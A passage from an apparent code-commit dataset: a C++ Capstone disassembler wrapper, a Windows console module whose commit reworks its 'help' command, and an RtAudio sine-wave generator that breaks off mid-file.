const\r\n{\r\n    if(!Success())\r\n        DebugBreak();\r\n    return x86_insn(mInstr->id);\r\n}\r\n\r\nstd::string Capstone::InstructionText() const\r\n{\r\n    if(!Success())\r\n        return \"???\";\r\n    std::string result = Mnemonic();\r\n    if(OpCount())\r\n    {\r\n        result += \" \";\r\n        result += mInstr->op_str;\r\n    }\r\n    return result;\r\n}\r\n\r\nint Capstone::OpCount() const\r\n{\r\n    if(!Success())\r\n        return 0;\r\n    return x86().op_count;\r\n}\r\n\r\ncs_x86_op Capstone::operator[](int index) const\r\n{\r\n    if(!Success() || index >= OpCount())\r\n        DebugBreak();\r\n    return x86().operands[index];\r\n}\r\n\r\nbool Capstone::IsNop() const\r\n{\r\n    return GetId() == X86_INS_NOP;\r\n}\r\n\r\nbool Capstone::IsInt3() const\r\n{\r\n    if(!Success())\r\n        return false;\r\n    switch(GetId())\r\n    {\r\n    case X86_INS_INT3:\r\n        return true;\r\n    case X86_INS_INT:\r\n    {\r\n        cs_x86_op op = x86().operands[0];\r\n        return op.type == X86_OP_IMM && op.imm == 3;\r\n    }\r\n    default:\r\n        return false;\r\n    }\r\n}\r\n\r\nstd::string Capstone::Mnemonic() const\r\n{\r\n    if(!Success())\r\n        return \"???\";\r\n    return mInstr->mnemonic;\r\n}\r\n\r\nconst char* Capstone::MemSizeName(int size) const\r\n{\r\n    switch(size)\r\n    {\r\n    case 1:\r\n        return \"byte\";\r\n    case 2:\r\n        return \"word\";\r\n    case 4:\r\n        return \"dword\";\r\n    case 6:\r\n        return \"fword\";\r\n    case 8:\r\n        return \"qword\";\r\n    case 10:\r\n        return \"tword\";\r\n    case 16:\r\n        return \"dqword\";\r\n    case 32:\r\n        return \"yword\";\r\n    case 64:\r\n        return \"zword\";\r\n    default:\r\n        return nullptr;\r\n    }\r\n}\r\n\r\nsize_t Capstone::BranchDestination() const\r\n{\r\n    if(!Success())\r\n        return 0;\r\n    if(InGroup(CS_GRP_JUMP) || InGroup(CS_GRP_CALL) || IsLoop())\r\n    {\r\n        const auto & op = x86().operands[0];\r\n        if(op.type == CS_OP_IMM)\r\n            return size_t(op.imm);\r\n    }\r\n    return 0;\r\n}<|endoftext|>"}
{"text":"<commit_before>#include \"Console.hpp\"\n\n#include <algorithm>\n#include <sstream>\n\n#include <Windows.h>\n#include <conio.h> \/\/ _getch()\n#pragma warning(disable:4996)\n\n#include <io.h>\n#include <cctype> \/\/isgraph\n\n#define ps1beg \"\\xAF[\"\n#define ps1end \"]\\xAE\"\n\n\/\/ Utils\nnamespace\n{\n    std::vector<std::string> SplitString(const std::string &String, char Delimiter)\n    {\n        std::vector<std::string> SplitString;\n        std::stringstream StringStream(String);\n        std::string Token;\n        while( std::getline(StringStream, Token, Delimiter) )\n        {\n            SplitString.push_back(Token);\n        }\n        return SplitString;\n    }\n}\n\nnamespace Console\n{\n    Console::Console()\n    {\n        ConsoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);\n        SetConsoleOutputCP(437);\n\n        CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo{};\n        if( GetConsoleScreenBufferInfo(ConsoleHandle, &ConsoleInfo) )\n        {\n            ConsoleWidth = ConsoleInfo.dwSize.X;\n        }\n\n        SetTextColor(Color::Info);\n\n        PushCommand(\"help\", std::make_shared<Help>());\n        PushCommand(\"history\", std::make_shared<History>());\n        PushCommand(\"quit\", std::make_shared<Quit>());\n    }\n\n    std::string Console::NearestCommand(const std::string & Command) const\n    {\n        if( !Command.empty() )\n        {\n            \/\/ Find closest matching command\n            std::vector<std::string> Suggestions;\n\n            for( const auto &Cmd : Commands )\n            {\n                if( !Command.compare(0, Command.length(), (Cmd.first), 0, Command.length()) )\n                {\n                    Suggestions.push_back((Cmd.first));\n                }\n            }\n\n            if( Suggestions.size() )\n            {\n                \/\/ Return first match, for now\n                return Suggestions.front();\n            }\n        }\n        return \"\";\n    }\n\n    Console::~Console()\n    {\n        Commands.clear();\n    }\n\n    void Console::HandleInput(uint32_t KeyCode)\n    {\n        switch( KeyCode )\n        {\n        case '\\r': \/\/ Enter\n        {\n            SetTextColor(Color::Info);\n            \/\/ Clear previous suggestion\n            if( !CurSuggestion.empty() )\n            {\n                std::cout.width(CurSuggestion.length());\n                std::cout.fill(' ');\n                std::cout << \"\";\n\n                std::cout.width(CurSuggestion.length());\n                std::cout.fill('\\b');\n                std::cout << \"\";\n            }\n\n            std::cout << ps1end << std::endl;\n\n            std::string Command = CurCommand.substr(0, CurCommand.find_first_of(' '));\n\n            if( !Command.empty() )\n            {\n                \/\/ Run command if it exists\n                if( Commands.count(Command)\n                    && Commands[Command] )\n                {\n                    if( !Commands[Command]->Run(SplitString(CurCommand, ' ')) )\n                    {\n                        \/\/ Error running command;\n                        SetTextColor(Color::Error);\n                        std::cout << \"Invalid Usage: \" << Command << std::endl;\n                        SetTextColor(Color::Info);\n                        std::cout << Commands[Command]->Info() << std::endl;\n                    }\n                }\n                else\n                {\n                    SetTextColor(Color::Error);\n                    std::cout << \"Unknown Command: \" << Command << std::endl;\n                }\n\n                \/\/ Add to history\n                PrevCommands.push_back(CurCommand);\n                PrevCommand = PrevCommands.end();\n                CurCommand.clear();\n                CurSuggestion.clear();\n            }\n\n            SetTextColor(Color::Info);\n            break;\n        }\n        case '\\t': \/\/ Tab\n        {\n            \/\/ Tab completion\n            if( !CurSuggestion.empty() && !CurCommand.empty() )\n            {\n                CurCommand = CurSuggestion;\n            }\n            break;\n        }\n        case '\\x16': \/\/ Ctrl + V\n        {\n            \/\/ Paste in clipbard\n            if( OpenClipboard(nullptr) )\n            {\n                std::string Clipboard(reinterpret_cast<char*>(GetClipboardData(CF_TEXT)));\n                CloseClipboard();\n                for( const char &CurChar : Clipboard )\n                {\n                    HandleInput(CurChar);\n                }\n            }\n            break;\n        }\n        case 0x00: \/\/ Function Keys\n        case 0xE0:\n        {\n            uint32_t Func = _getch();\n            switch( Func )\n            {\n            case 0x48: \/\/ Up\n            {\n                if( !PrevCommands.empty() )\n                {\n                    if( PrevCommand != PrevCommands.begin() )\n                    {\n                        PrevCommand--;\n                    }\n\n                    CurCommand = *PrevCommand;\n                }\n                break;\n            }\n            case 0x50: \/\/ Down\n            {\n                if( !PrevCommands.empty() )\n                {\n                    if( PrevCommand != PrevCommands.end() && PrevCommand != PrevCommands.end() - 1 )\n                    {\n                        PrevCommand++;\n                        CurCommand = *PrevCommand;\n                    }\n                    else if( PrevCommand == PrevCommands.end() - 1 )\n                    {\n                        PrevCommand++;\n                        CurCommand.clear();\n                    }\n                    else\n                    {\n                        CurCommand.clear();\n                    }\n                }\n                break;\n            }\n            }\n            break;\n        }\n        case '\\b': \/\/ Backspace\n        {\n            if( !CurCommand.empty() )\n            {\n                \/\/ Remove character from current command\n                CurCommand.pop_back();\n                \/\/ Update Suggestion\n                CurSuggestion = NearestCommand(CurCommand);\n            }\n            break;\n        }\n        default: \/\/ Every other character (alphanum and space)\n        {\n            if( std::isgraph(KeyCode) || std::isspace(KeyCode) )\n            {\n                CurCommand.push_back(static_cast<uint8_t>(KeyCode));\n\n                \/\/ Update Suggestion\n                CurSuggestion = NearestCommand(CurCommand);\n            }\n            break;\n        }\n        }\n    }\n\n    void Console::PrintLine()\n    {\n        SetTextColor(Color::Info);\n        std::cout << '\\r';\n        std::cout.width(ConsoleWidth - 1);\n        std::cout.fill(' ');\n        std::cout << '\\r' << ps1beg;\n        SetTextColor(Color::Input);\n\n        if( CurSuggestion.length() )\n        {\n            \/\/ Print suggestion\n            SetTextColor(Color::Suggestion);\n            std::cout << CurSuggestion;\n            \/\/ Go back\n            std::cout.width(CurSuggestion.length());\n            std::cout.fill('\\b');\n            std::cout << \"\";\n        }\n        \/\/ Print currently typed in command\n        SetTextColor(Color::Input);\n        std::cout << CurCommand;\n        std::cout.flush();\n    }\n\n    void Console::PushCommand(const std::string &CommandName, std::shared_ptr<Command> Command)\n    {\n        Commands[CommandName] = Command;\n    }\n    void Console::PopCommand(const std::string &CommandName)\n    {\n        if( Commands.count(CommandName) )\n        {\n            Commands.erase(CommandName);\n        }\n    }\n\n    \/\/\/ Meta commands\n\n    \/\/ Help\n    Console::Help::Help()\n    {\n    }\n\n    Console::Help::~Help()\n    {\n    }\n\n    bool Console::Help::Run(const std::vector<std::string> &Arguments)\n    {\n        if( Arguments.size() >= 2 )\n        {\n            if( Console::Instance()->Commands.count(Arguments[1]) )\n            {\n                if( Arguments.size() == 3 )\n                {\n                    std::cout << Console::Instance()->Commands[Arguments[1]]->Info() << std::endl;\n                }\n                else\n                {\n                    std::cout << Console::Instance()->Commands[Arguments[1]]->Info(Arguments.back()) << std::endl;\n                }\n            }\n            else\n            {\n                SetTextColor(Color::Error);\n                std::cout << \"Command: \" << Arguments[1] << \" not found.\" << std::endl;\n            }\n        }\n        else\n        {\n            \/\/ Show all command info\n            for( const auto &Command : Console::Instance()->Commands )\n            {\n                std::string Padded(Command.first);\n                Padded.resize(Console::Instance()->ConsoleWidth \/ 2, '\\xC4');\n                SetTextColor(Color::Info);\n                std::cout << Padded << std::endl;\n                SetTextColor(Color::Info^Color::Bright);\n                std::cout << Command.second->Info(Command.first) << std::endl;\n            }\n        }\n        return true;\n    }\n\n    std::string Console::Help::Info(const std::string & Topic) const\n    {\n        return \"Prints help for all commands\\n\"\n            \"Type help (command name) (topic) to get help on a specific command\";\n    }\n\n    \/\/ History\n    Console::History::History()\n    {\n    }\n\n    Console::History::~History()\n    {\n    }\n\n    bool Console::History::Run(const std::vector<std::string>& Arguments)\n    {\n        SetTextColor(Color::Info);\n        for( const auto &Command : Console::Instance()->PrevCommands )\n        {\n            std::cout << Command << std::endl;\n        }\n        return true;\n    }\n\n    std::string Console::History::Info(const std::string & Topic) const\n    {\n        return \"Displays all previously entered commands\";\n    }\n\n    \/\/ Quit\n    Console::Quit::Quit()\n    {\n    }\n\n    Console::Quit::~Quit()\n    {\n    }\n\n    bool Console::Quit::Run(const std::vector<std::string>& Arguments)\n    {\n        std::exit(0);\n        return true;\n    }\n\n    std::string Console::Quit::Info(const std::string & Topic) const\n    {\n        return \"Quits the application\";\n    }\n\n    \/\/ Static Functions\n\n    void SetTextColor(Color NewColor)\n    {\n        SetConsoleTextAttribute(\n            GetStdHandle(STD_OUTPUT_HANDLE),\n            static_cast<std::underlying_type_t<Color>>(NewColor)\n        );\n    }\n\n    bool AllocateConsole(const std::string& ConsoleTitle)\n    {\n        \/\/ Allocate new console window\n        if( !AllocConsole() )\n        {\n            MessageBox(nullptr, \"Unable to allocate console\", ConsoleTitle.c_str(), 0);\n            return false;\n        }\n\n        CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;\n\n        GetConsoleScreenBufferInfo(\n            GetStdHandle(STD_OUTPUT_HANDLE),\n            &ConsoleInfo\n        );\n\n        ConsoleInfo.dwSize.Y = 25;\n        ConsoleInfo.dwSize.X = 30;\n\n        SetConsoleScreenBufferSize(\n            GetStdHandle(STD_OUTPUT_HANDLE),\n            ConsoleInfo.dwSize\n        );\n\n        if( !SetConsoleTitle(ConsoleTitle.c_str()) )\n        {\n            MessageBox(\n                nullptr,\n                (\"Unable set console title (Error code: \" + std::to_string(GetLastError()) + ')').c_str(),\n                ConsoleTitle.c_str(),\n                0\n            );\n            return false;\n        }\n\n        if( EnableMenuItem(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE | SC_MINIMIZE, MF_GRAYED) == -1 )\n        {\n            MessageBox(\n                nullptr,\n                \"Unable to enable menu item\",\n                ConsoleTitle.c_str(),\n                0);\n            return false;\n        }\n\n        if( !DrawMenuBar(GetConsoleWindow()) )\n        {\n            MessageBox(\n                nullptr,\n                (\"Unable to DrawMenuBar (Error code: \" + std::to_string(GetLastError()) + ')').c_str(),\n                ConsoleTitle.c_str(),\n                0\n            );\n            return false;\n        }\n\n        \/\/ Reroute std streams\n        \/\/intptr_t hStd;\n        \/\/int32_t hConsole;\n        \/\/FILE *fp;\n\n        \/\/\/\/ Setup std output\n        \/\/hStd = reinterpret_cast<intptr_t>(GetStdHandle(STD_OUTPUT_HANDLE));\n        \/\/hConsole = _open_osfhandle(hStd, _O_TEXT);\n        \/\/fp = _fdopen(hConsole, \"w\");\n        \/\/*stdout = *fp;\n        \/\/setvbuf(stdout, nullptr, _IONBF, 0);\n\n        \/\/\/\/ Setup std input\n        \/\/hStd = reinterpret_cast<intptr_t>(GetStdHandle(STD_INPUT_HANDLE));\n        \/\/hConsole = _open_osfhandle(hStd, _O_TEXT);\n        \/\/fp = _fdopen(hConsole, \"r\");\n        \/\/*stdin = *fp;\n        \/\/setvbuf(stdin, nullptr, _IONBF, 0);\n\n        \/\/std::ios::sync_with_stdio();\n\n        \/\/ New stream re-route method\n        \/\/ MUCH faster\n        freopen(\"CONIN$\", \"r\", stdin);\n        freopen(\"CONOUT$\", \"w\", stdout);\n        freopen(\"CONOUT$\", \"w\", stderr);\n\n        std::wcout.clear();\n        std::cout.clear();\n        std::wcerr.clear();\n        std::cerr.clear();\n        std::wcin.clear();\n        std::cin.clear();\n\n        return true;\n    }\n\n    size_t GetWidth()\n    {\n        CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;\n        if( GetConsoleScreenBufferInfo(\n            GetStdHandle(STD_OUTPUT_HANDLE),\n            &ConsoleInfo) )\n        {\n            return static_cast<size_t>(ConsoleInfo.dwSize.X);\n        }\n        return 0;\n    }\n}<commit_msg>Fixed History command to enumerate supplemental arguments<commit_after>#include \"Console.hpp\"\n\n#include <algorithm>\n#include <sstream>\n\n#include <Windows.h>\n#include <conio.h> \/\/ _getch()\n#pragma warning(disable:4996)\n\n#include <io.h>\n#include <cctype> \/\/isgraph\n\n#define ps1beg \"\\xAF[\"\n#define ps1end \"]\\xAE\"\n\n\/\/ Utils\nnamespace\n{\n    std::vector<std::string> SplitString(const std::string &String, char Delimiter)\n    {\n        std::vector<std::string> SplitString;\n        std::stringstream StringStream(String);\n        std::string Token;\n        while( std::getline(StringStream, Token, Delimiter) )\n        {\n            SplitString.push_back(Token);\n        }\n        return SplitString;\n    }\n}\n\nnamespace Console\n{\n    Console::Console()\n    {\n        ConsoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);\n        SetConsoleOutputCP(437);\n\n        CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo{};\n        if( GetConsoleScreenBufferInfo(ConsoleHandle, &ConsoleInfo) )\n        {\n            ConsoleWidth = ConsoleInfo.dwSize.X;\n        }\n\n        SetTextColor(Color::Info);\n\n        PushCommand(\"help\", std::make_shared<Help>());\n        PushCommand(\"history\", std::make_shared<History>());\n        PushCommand(\"quit\", std::make_shared<Quit>());\n    }\n\n    std::string Console::NearestCommand(const std::string & Command) const\n    {\n        if( !Command.empty() )\n        {\n            \/\/ Find closest matching command\n            std::vector<std::string> Suggestions;\n\n            for( const auto &Cmd : Commands )\n            {\n                if( !Command.compare(0, Command.length(), (Cmd.first), 0, Command.length()) )\n                {\n                    Suggestions.push_back((Cmd.first));\n                }\n            }\n\n            if( Suggestions.size() )\n            {\n                \/\/ Return first match, for now\n                return Suggestions.front();\n            }\n        }\n        return \"\";\n    }\n\n    Console::~Console()\n    {\n        Commands.clear();\n    }\n\n    void Console::HandleInput(uint32_t KeyCode)\n    {\n        switch( KeyCode )\n        {\n        case '\\r': \/\/ Enter\n        {\n            SetTextColor(Color::Info);\n            \/\/ Clear previous suggestion\n            if( !CurSuggestion.empty() )\n            {\n                std::cout.width(CurSuggestion.length());\n                std::cout.fill(' ');\n                std::cout << \"\";\n\n                std::cout.width(CurSuggestion.length());\n                std::cout.fill('\\b');\n                std::cout << \"\";\n            }\n\n            std::cout << ps1end << std::endl;\n\n            std::string Command = CurCommand.substr(0, CurCommand.find_first_of(' '));\n\n            if( !Command.empty() )\n            {\n                \/\/ Run command if it exists\n                if( Commands.count(Command)\n                    && Commands[Command] )\n                {\n                    if( !Commands[Command]->Run(SplitString(CurCommand, ' ')) )\n                    {\n                        \/\/ Error running command;\n                        SetTextColor(Color::Error);\n                        std::cout << \"Invalid Usage: \" << Command << std::endl;\n                        SetTextColor(Color::Info);\n                        std::cout << Commands[Command]->Info() << std::endl;\n                    }\n                }\n                else\n                {\n                    SetTextColor(Color::Error);\n                    std::cout << \"Unknown Command: \" << Command << std::endl;\n                }\n\n                \/\/ Add to history\n                PrevCommands.push_back(CurCommand);\n                PrevCommand = PrevCommands.end();\n                CurCommand.clear();\n                CurSuggestion.clear();\n            }\n\n            SetTextColor(Color::Info);\n            break;\n        }\n        case '\\t': \/\/ Tab\n        {\n            \/\/ Tab completion\n            if( !CurSuggestion.empty() && !CurCommand.empty() )\n            {\n                CurCommand = CurSuggestion;\n            }\n            break;\n        }\n        case '\\x16': \/\/ Ctrl + V\n        {\n            \/\/ Paste in clipbard\n            if( OpenClipboard(nullptr) )\n            {\n                std::string Clipboard(reinterpret_cast<char*>(GetClipboardData(CF_TEXT)));\n                CloseClipboard();\n                for( const char &CurChar : Clipboard )\n                {\n                    HandleInput(CurChar);\n                }\n            }\n            break;\n        }\n        case 0x00: \/\/ Function Keys\n        case 0xE0:\n        {\n            uint32_t Func = _getch();\n            switch( Func )\n            {\n            case 0x48: \/\/ Up\n            {\n                if( !PrevCommands.empty() )\n                {\n                    if( PrevCommand != PrevCommands.begin() )\n                    {\n                        PrevCommand--;\n                    }\n\n                    CurCommand = *PrevCommand;\n                }\n                break;\n            }\n            case 0x50: \/\/ Down\n            {\n                if( !PrevCommands.empty() )\n                {\n                    if( PrevCommand != PrevCommands.end() && PrevCommand != PrevCommands.end() - 1 )\n                    {\n                        PrevCommand++;\n                        CurCommand = *PrevCommand;\n                    }\n                    else if( PrevCommand == PrevCommands.end() - 1 )\n                    {\n                        PrevCommand++;\n                        CurCommand.clear();\n                    }\n                    else\n                    {\n                        CurCommand.clear();\n                    }\n                }\n                break;\n            }\n            }\n            break;\n        }\n        case '\\b': \/\/ Backspace\n        {\n            if( !CurCommand.empty() )\n            {\n                \/\/ Remove character from current command\n                CurCommand.pop_back();\n                \/\/ Update Suggestion\n                CurSuggestion = NearestCommand(CurCommand);\n            }\n            break;\n        }\n        default: \/\/ Every other character (alphanum and space)\n        {\n            if( std::isgraph(KeyCode) || std::isspace(KeyCode) )\n            {\n                CurCommand.push_back(static_cast<uint8_t>(KeyCode));\n\n                \/\/ Update Suggestion\n                CurSuggestion = NearestCommand(CurCommand);\n            }\n            break;\n        }\n        }\n    }\n\n    void Console::PrintLine()\n    {\n        SetTextColor(Color::Info);\n        std::cout << '\\r';\n        std::cout.width(ConsoleWidth - 1);\n        std::cout.fill(' ');\n        std::cout << '\\r' << ps1beg;\n        SetTextColor(Color::Input);\n\n        if( CurSuggestion.length() )\n        {\n            \/\/ Print suggestion\n            SetTextColor(Color::Suggestion);\n            std::cout << CurSuggestion;\n            \/\/ Go back\n            std::cout.width(CurSuggestion.length());\n            std::cout.fill('\\b');\n            std::cout << \"\";\n        }\n        \/\/ Print currently typed in command\n        SetTextColor(Color::Input);\n        std::cout << CurCommand;\n        std::cout.flush();\n    }\n\n    void Console::PushCommand(const std::string &CommandName, std::shared_ptr<Command> Command)\n    {\n        Commands[CommandName] = Command;\n    }\n    void Console::PopCommand(const std::string &CommandName)\n    {\n        if( Commands.count(CommandName) )\n        {\n            Commands.erase(CommandName);\n        }\n    }\n\n    \/\/\/ Meta commands\n\n    \/\/ Help\n    Console::Help::Help()\n    {\n    }\n\n    Console::Help::~Help()\n    {\n    }\n\n    bool Console::Help::Run(const std::vector<std::string> &Arguments)\n    {\n        if( Arguments.size() > 1 )\n        {\n            for( auto it = Arguments.cbegin() + 1; it != Arguments.cend(); ++it )\n            {\n                if( Console::Instance()->Commands.count(*it) )\n                {\n                    std::string Padded(*it);\n                    Padded.resize(Console::Instance()->ConsoleWidth \/ 2, '\\xC4');\n                    SetTextColor(Color::Info);\n                    std::cout << Padded << std::endl;\n                    SetTextColor(Color::Info^Color::Bright);\n                    std::cout << Console::Instance()->Commands[*it]->Info() << std::endl;\n                }\n                else\n                {\n                    SetTextColor(Color::Error);\n                    std::cout << \"Command: \" << *it << \" not found.\" << std::endl;\n                }\n            }\n        }\n        else\n        {\n            \/\/ Show all command info\n            for( const auto &Command : Console::Instance()->Commands )\n            {\n                std::string Padded(Command.first);\n                Padded.resize(Console::Instance()->ConsoleWidth \/ 2, '\\xC4');\n                SetTextColor(Color::Info);\n                std::cout << Padded << std::endl;\n                SetTextColor(Color::Info^Color::Bright);\n                std::cout << Command.second->Info(Command.first) << std::endl;\n            }\n        }\n        return true;\n    }\n\n    std::string Console::Help::Info(const std::string & Topic) const\n    {\n        return \"Prints help for all commands\\n\"\n            \"Type help (command name) (topic) to get help on a specific command\";\n    }\n\n    \/\/ History\n    Console::History::History()\n    {\n    }\n\n    Console::History::~History()\n    {\n    }\n\n    bool Console::History::Run(const std::vector<std::string>& Arguments)\n    {\n        SetTextColor(Color::Info);\n        for( const auto &Command : Console::Instance()->PrevCommands )\n        {\n            std::cout << Command << std::endl;\n        }\n        return true;\n    }\n\n    std::string Console::History::Info(const std::string & Topic) const\n    {\n        return \"Displays all previously entered commands\";\n    }\n\n    \/\/ Quit\n    Console::Quit::Quit()\n    {\n    }\n\n    Console::Quit::~Quit()\n    {\n    }\n\n    bool Console::Quit::Run(const std::vector<std::string>& Arguments)\n    {\n        std::exit(0);\n        return true;\n    }\n\n    std::string Console::Quit::Info(const std::string & Topic) const\n    {\n        return \"Quits the application\";\n    }\n\n    \/\/ Static Functions\n\n    void SetTextColor(Color NewColor)\n    {\n        SetConsoleTextAttribute(\n            GetStdHandle(STD_OUTPUT_HANDLE),\n            static_cast<std::underlying_type_t<Color>>(NewColor)\n        );\n    }\n\n    bool AllocateConsole(const std::string& ConsoleTitle)\n    {\n        \/\/ Allocate new console window\n        if( !AllocConsole() )\n        {\n            MessageBox(nullptr, \"Unable to allocate console\", ConsoleTitle.c_str(), 0);\n            return false;\n        }\n\n        CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;\n\n        GetConsoleScreenBufferInfo(\n            GetStdHandle(STD_OUTPUT_HANDLE),\n            &ConsoleInfo\n        );\n\n        ConsoleInfo.dwSize.Y = 25;\n        ConsoleInfo.dwSize.X = 30;\n\n        SetConsoleScreenBufferSize(\n            GetStdHandle(STD_OUTPUT_HANDLE),\n            ConsoleInfo.dwSize\n        );\n\n        if( !SetConsoleTitle(ConsoleTitle.c_str()) )\n        {\n            MessageBox(\n                nullptr,\n                (\"Unable set console title (Error code: \" + std::to_string(GetLastError()) + ')').c_str(),\n                ConsoleTitle.c_str(),\n                0\n            );\n            return false;\n        }\n\n        if( EnableMenuItem(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE | SC_MINIMIZE, MF_GRAYED) == -1 )\n        {\n            MessageBox(\n                nullptr,\n                \"Unable to enable menu item\",\n                ConsoleTitle.c_str(),\n                0);\n            return false;\n        }\n\n        if( !DrawMenuBar(GetConsoleWindow()) )\n        {\n            MessageBox(\n                nullptr,\n                (\"Unable to DrawMenuBar (Error code: \" + std::to_string(GetLastError()) + ')').c_str(),\n                ConsoleTitle.c_str(),\n                0\n            );\n            return false;\n        }\n\n        \/\/ Reroute std streams\n        \/\/intptr_t hStd;\n        \/\/int32_t hConsole;\n        \/\/FILE *fp;\n\n        \/\/\/\/ Setup std output\n        \/\/hStd = reinterpret_cast<intptr_t>(GetStdHandle(STD_OUTPUT_HANDLE));\n        \/\/hConsole = _open_osfhandle(hStd, _O_TEXT);\n        \/\/fp = _fdopen(hConsole, \"w\");\n        \/\/*stdout = *fp;\n        \/\/setvbuf(stdout, nullptr, _IONBF, 0);\n\n        \/\/\/\/ Setup std input\n        \/\/hStd = reinterpret_cast<intptr_t>(GetStdHandle(STD_INPUT_HANDLE));\n        \/\/hConsole = _open_osfhandle(hStd, _O_TEXT);\n        \/\/fp = _fdopen(hConsole, \"r\");\n        \/\/*stdin = *fp;\n        \/\/setvbuf(stdin, nullptr, _IONBF, 0);\n\n        \/\/std::ios::sync_with_stdio();\n\n        \/\/ New stream re-route method\n        \/\/ MUCH faster\n        freopen(\"CONIN$\", \"r\", stdin);\n        freopen(\"CONOUT$\", \"w\", stdout);\n        freopen(\"CONOUT$\", \"w\", stderr);\n\n        std::wcout.clear();\n        std::cout.clear();\n        std::wcerr.clear();\n        std::cerr.clear();\n        std::wcin.clear();\n        std::cin.clear();\n\n        return true;\n    }\n\n    size_t GetWidth()\n    {\n        CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;\n        if( GetConsoleScreenBufferInfo(\n            GetStdHandle(STD_OUTPUT_HANDLE),\n            &ConsoleInfo) )\n        {\n            return static_cast<size_t>(ConsoleInfo.dwSize.X);\n        }\n        return 0;\n    }\n}<|endoftext|>"}
{"text":"<commit_before>\/\/-----------------------------------------------------------------------------\n\/\/ name: sig_gen.cpp\n\/\/ desc: real-time sine wave\n\/\/\n\/\/ author: Nikhil Goel (nmgoel@stanford.edu)\n\/\/   date: fall 2015\n\/\/   uses: RtAudio by Gary Scavone\n\/\/-----------------------------------------------------------------------------\n#include \"RtAudio.h\"\n#include <math.h>\n#include <iostream>\n#include <cstdlib>\nusing namespace std;\n\n\/* #defines and globals *\/\n\n\/\/ A sample is a discrete time signal derived from a continuous signal\n#define SAMPLE double\n\n\/\/ RtAudio's data format type. Normalized between +- 1\n#define MY_FORMAT RTAUDIO_FLOAT64\n\n\/\/ Sample Rate = (avg. # of samples)\/second = 1\/T, where T is sampling interval\n#define MY_SRATE 44100\n\n\/\/ number of channels\n#define MY_CHANNELS 2\n\n#define MY_PIE 3.14159265358979\n\n\/\/ global for frequency\nSAMPLE g_freq = 440;\n\n\/\/ global sample number variable\nSAMPLE g_t = 0;\n\n\/*\n * @funtion audio_callback The RtAudioCallback function.\n * @param outputBuffer Pointer to the buffer that holds the output.\n * @param inputBuffer Pointer to the buffer that holds the input.\n * @param numFrames The number of sample frames held by input buffer\n    and written to output buffer.\n * @param streamTime The number of seconds (double) that the signal streams.\n * @param status Notifies if there is an output\/input overflow\/underflow.\n * @param data Pointer to optional data provided by the client\n    when opening the stream (default = NULL).\n   @return Zero to maintain normal stream. One to stop the stream and drain the\n   output buffer. Two to abort the stream immediately.\n *\/\nint audio_callback(void *outputBuffer, void *inputBuffer, unsigned int numFrames,\n     double streamTime, RtAudioStreamStatus status, void *data ) {\n\n         \/\/ stderr prints info and err messages (info about callback here)\n         cerr << \".\";\n\n         \/\/ outputBuffer points to array of SAMPLEs\n         SAMPLE *buffer = (SAMPLE *) outputBuffer;\n         for(int i = 0; i < numFrames; i++)\n         {\n             \/\/ generate signal in even-indexed slots of the buffer\n             buffer[i * MY_CHANNELS] = sin(2 * MY_PIE * g_freq * g_t \/ MY_SRATE);\n\n             \/\/ copy signal into odd-indexed slots of the buffer\n             for(int j = 1; j < MY_CHANNELS; j++)\n                 buffer[i * MY_CHANNELS + j] = buffer[i * MY_CHANNELS];\n\n             \/\/ increment sample number\n             g_t += 1.0;\n         }\n         return 0;\n}\n\nint main(int argc, char const *argv[]) {\n\n<<<<<<< HEAD:MyHelloSine.cpp\n    RtAudio audio = new RtAudio(RtAudio::WINDOWS_ASIO);\n=======\n    RtAudio audio;\/\/ = new RtAudio(RtAudio::MACOSX_CORE);\n>>>>>>> 6d27b44e474e41242774e452eafc836caa1d85f3:sig_gen.cpp\n    unsigned int bufferBytes = 0;\n\n    \/\/ frame size\n    unsigned int bufferFrames = 512;\n\n    \/\/ check for audio devices\n    if(audio.getDeviceCount() < 1)\n    {\n        cout << \"no audio devices found!\" << endl;\n        exit(1);\n    }\n\n    \/\/ let RtAudio print messages to stderr.\n    \/\/audio.showWarnings(true);\n\n    \/\/ set input and output parameters\n    RtAudio::StreamParameters iParams, oParams;\n    iParams.deviceId = audio.getDefaultInputDevice();\n    iParams.nChannels = MY_CHANNELS;\n    iParams.firstChannel = 0;\n    oParams.deviceId = audio.getDefaultOutputDevice();\n    oParams.nChannels = MY_CHANNELS;\n    oParams.firstChannel = 0;\n\n    \/\/ create stream options\n    RtAudio::StreamOptions options;\n\n    try {\n        \/\/ open a stream\n        audio.openStream(&oParams, &iParams, MY_FORMAT, MY_SRATE, &bufferFrames,\n            &audio_callback, (void *) &bufferBytes, &options);\n    }\n    catch(RtError& e)\n    {\n        cout << e.getMessage() << endl;\n        exit(1);\n    }\n\n    \/\/ compute\n    bufferBytes = bufferFrames * MY_CHANNELS * sizeof(SAMPLE);\n\n    \/\/ test RtAudio functionality for reporting latency.\n    cout << \"stream latency: \" << audio.getStreamLatency() << \" frames\" << endl;\n\n    \/\/ go for it\n    try {\n        \/\/ start stream\n        audio.startStream();\n\n        \/\/ get input\n        char input;\n        std::cout << \"running... press <enter> to quit (buffer frames: \" << bufferFrames << \")\" << endl;\n        std::cin.get(input);\n\n        \/\/ stop the stream.\n        audio.stopStream();\n    }\n    catch(RtError& e)\n    {\n        \/\/ print error message\n        cout << e.getMessage() << endl;\n        goto cleanup;\n    }\n\n    cleanup:\n        \/\/ close if open\n        if(audio.isStreamOpen())\n            audio.closeStream();\n\n    return 0;\n}\n<commit_msg>finished noise and sine wave<commit_after>\/\/-----------------------------------------------------------------------------\n\/\/ name: sig_gen.cpp\n\/\/ desc: real-time sine wave\n\/\/\n\/\/ author: Nikhil Goel (nmgoel@stanford.edu)\n\/\/   date: fall 2015\n\/\/   uses: RtAudio by Gary Scavone\n\/\/-----------------------------------------------------------------------------\n#include \"RtAudio.h\"\n#include <math.h>\n#include <iostream>\n#include <cstdlib>\nusing namespace std;\n\n\/* ----------------------#defines-------------------- *\/\n\n\/\/ A sample is a discrete time signal derived from a continuous signal\n#define SAMPLE double\n\n\/\/ RtAudio's data format type. Normalized between +- 1\n#define 